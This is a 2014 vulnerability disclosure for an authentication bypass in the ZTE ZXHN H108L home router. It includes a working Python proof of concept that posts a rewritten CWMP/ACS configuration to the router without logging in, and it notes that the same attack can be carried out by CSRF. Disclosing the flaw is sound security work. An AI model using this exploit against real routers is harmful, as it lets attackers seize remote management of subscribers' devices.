CVE-2014-8493 – ZTE ZXHN H108L Authentication Bypass

About the software

ZTE ZXHN H108L is provided by some large Greek ISPs to their subscribers.

Vulnerability Details

CWMP configuration is accessible only through the Administrator account. CWMP is a protocol widely used by ISPs worldwide for remote provisioning and troubleshooting their subscribers’ equipment. However editing the CWMP configuration (more specifically sending the POST request) does not require any user authentication.

Affected Product(s)

Device model : ZTE ZXHN H108L
Firmware Version : ZXHN H108LV4.0.0d_ZRQ_GR4

Proof of Concept

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL': acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", data=payload)

Impact

The described vulnerability allows any unauthenticated user to edit the CWMP configuration. Exploitation can be performed by LAN users or through the Internet if the router is configured to expose the web interface on WAN. Also because the router lacks of CSRF protection, malicious JS code can be deployed in order to exploit the vulnerability through a  malicious web page.

Severity

Medium

Author

Paris Zoumpouloglou

Disclosure Timeline

27/10/2014 – First communication attempt to both vendor and ISP
03/11/2014 – Second attempt to contact the ISP.
04/11/2014 – ZTE response stating that ISP should be contacted
14/11/2014 – No response from ISP. Public Disclosure